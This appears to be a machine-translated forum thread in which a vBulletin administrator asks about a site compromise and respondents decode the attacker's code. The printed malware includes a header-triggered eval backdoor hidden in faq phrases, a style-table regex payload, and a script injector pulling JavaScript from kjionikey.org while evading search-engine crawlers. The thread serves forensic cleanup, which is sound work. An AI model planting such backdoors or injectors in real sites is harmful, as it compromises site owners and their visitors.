HTTP-СОВЕТ и HTTP-ПАК?

В последнее время я обнаружил пару сайтов vBulletin, которые я администрирую. Они используют последнюю версию серии 3.8 (3.8.7 Patch Level 2). Обычно мне хорошо удается найти дыры, где они попадают, и исправлять их, но это меня толкает. Они вводят данные в таблицы MySQL. Атака всегда происходит, когда они делают запрос GET скрипту faq.php . Я смог сохранить данные, когда происходит атака. Это были массивы $_COOKIE , $_GET , $_POST , $_COOKIE и $_SERVER . Единственное, что я видел, что выглядела неуместно, – это два новых ключа $_SERVER , HTTP_SOVIET и HTTP_PACK :

http://pastebin.com/b6WdZtfK

Я должен предположить, что это корень проблемы, но я не могу на всю жизнь понять, как злоумышленник может установить эту переменную. В строке запроса ничего нет, ничего в массиве файлов cookie, это запрос GET, а не POST.

Есть идеи?

Переменная, подобная $_SERVER['HTTP_*'] может быть установлена ​​путем добавления заголовков в HTTP-запрос.

Пример простой командной строки:

Страница PHP:

 print_r($_SERVER); 

Затем в командной строке:

 curl --header "SOVIET: 123" localhost 

Вы увидите, что $_SERVER['HTTP_SOVIET'] равно 123 .

В этом случае содержимое HTTP_SOVIET кодируется base64 (отдать, оно заканчивается на == ). Unencoded, он превращается в:

 function iai() { global $db; $base = base64_decode('JExLZ=='); $style = $GLOBALS['style']; if(!empty($style['styleid'])) { $a = $db->query_first('select styleid from '.TABLE_PREFIX.'style where styleid=\''.$style['styleid'].'\''); if($a['styleid']!='' and $a['replacements']=='') { $db->query_write('update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\''); echo 'ok'; } else echo 'error'; } exit; } @iai(); 

Стоит отметить, что запрос там:

 'update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\'' 

Проверьте таблицу стилей, так как это один из способов / путь кода к пользователю.

Переименование таблицы стилей на что-то еще, скорее всего, смягчит последствия этой атаки.

В этом случае бит base64 имеет больше bas64, у которого больше bas64, в котором в конечном итоге вычисляется:

 function HdtBiGTAr() { global $ip_x; $file_d = '/tmp/phpYRcCBmBr'; $ip_l = (string)ip2long($ip_x); if(file_exists($file_d) and @is_writable($file_d) and (($size_f = @filesize($file_d)) > 0)) { $data = file_get_contents($file_d); if($size_f > 1000000) file_put_contents($file_d,mt_rand(100,999).','); if(!stristr($data,$ip_l)) { file_put_contents($file_d,"$ip_l,",FILE_APPEND); } else return true; } } function KeHHdiXL($in) { global $vbulletin,$ip_x; $domain = 'kjionikey.org'; $find_me = 'vbulletin_menu.js?v=387"></script>'; $sec = 'SnBdhRAZRbGtr_'; $key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16); $url = mt_rand(100,999999).'.js?250568&'.$key; return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in; } function FzKuPfiAG() { $ip = ''; if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $arr = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']); if(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/',$arr['0'])) { $ip = $arr['0']; } } return (!empty($ip)) ? $ip : $_SERVER['REMOTE_ADDR']; } function Ap_hZD_() { if(preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing|exalead|excite|lycos|myspace|alexa|doubleclick#i',$_SERVER['HTTP_REFERER'])) { if(preg_match('#msie|firefox|opera|chrome#i',$_SERVER['HTTP_USER_AGENT'])) return true; } } function oMYYOar() { global $ip_x; $ip_x = FzKuPfiAG(); $a = array('216.239.','209.85.','173.255.','173.194.','89.207.','74.125.','72.14.','66.249.','66.102.','64.233.'); foreach($a as $b) { if(preg_match("/^$b/i",$ip_x)) return true; } } if(!empty($_SERVER['HTTP_REFERER'])) { if(Ap_hZD_() and !oMYYOar() and !HdtBiGTAr()) { $newtext = KeHHdiXL($newtext); } } return $newtext; 

Это записывается в файл с именем /tmp/phpYRcCBmBr , поэтому я бы посмотрел, что это говорит.

Это также скрывает его поведение от поисковых систем, что приятно.

Плохой бит для пользователей, скорее всего:

 function KeHHdiXL($in) { global $vbulletin,$ip_x; $domain = 'kjionikey.org'; $find_me = 'vbulletin_menu.js?v=387"></script>'; $sec = 'SnBdhRAZRbGtr_'; $key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16); $url = mt_rand(100,999999).'.js?250568&'.$key; return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in; } 

Что ставит некоторые JS на странице, размещенной на kjionikey.org . Для этого JS требуется ключ, основанный на IP-адресе.

Я бы проверил любой код, который читает / исполняет содержимое случайных переменных $ _SERVER, но почему это было бы там, я не знаю.

В этом случае злоумышленник имеет код бэкдора, установленный в одной из ваших часто задаваемых вопросов ( phrases db-таблицы vbulletin) в виде набора вызовов функций PHP chr() .

 ${$GeAZvLDI=chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95) ... 

что в основном, когда eval'd через скрипт faq.php, декодируется:

 if(!empty($_SERVER['HTTP_PACK']) and !empty($_SERVER['HTTP_SOVIET'])) { if(md5(md5($_SERVER['HTTP_PACK'])) == 'rDGeOKeGGdiVLFy') @eval(base64_decode($_SERVER['HTTP_SOVIET'])); } 

Вы можете найти затронутые фразы VBulletin, выпустив SQL-запрос, подобный этому

 SELECT varname, text FROM `phrase` where text like '%chr(%'; 

Хотя есть много вариантов этого, некоторые используют строки HEX, base64decode, assert, пакетные вызовы или просто простой PHP.